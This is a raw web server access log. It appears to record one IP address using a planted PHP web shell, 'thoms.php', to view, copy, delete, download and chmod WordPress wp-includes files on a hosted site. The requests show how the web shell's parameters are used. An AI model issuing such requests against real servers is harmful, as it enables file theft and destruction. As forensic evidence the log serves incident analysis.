45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhttp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13143 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14162 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14965 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12122 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?del=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17271 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:12 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-IXR.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-IXR.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13028 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?chmod=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59400 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /thoms.php?chmod=blocks&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:13 -0400] "GET /booking-wise2.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fabilities-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13182 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12094 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdate.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdate.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21725 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 200 14344 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?dl=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 200 19868 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16314 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:14 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59436 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?chmod=author-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11845 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /booking-wise2.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fview-transitions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fview-transitions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fl10n&p= HTTP/1.1" 200 12396 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fl10n&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:15 -0400] "GET /thoms.php?del=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?dl=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?chmod=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11906 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13728 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:16 -0400] "GET /thoms.php?del=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59446 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?chmod=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fshortcodes.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fshortcodes.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12260 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?del=l10n&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=l10n&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12234 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12108 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /booking-wise2.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 200 14070 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13687 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
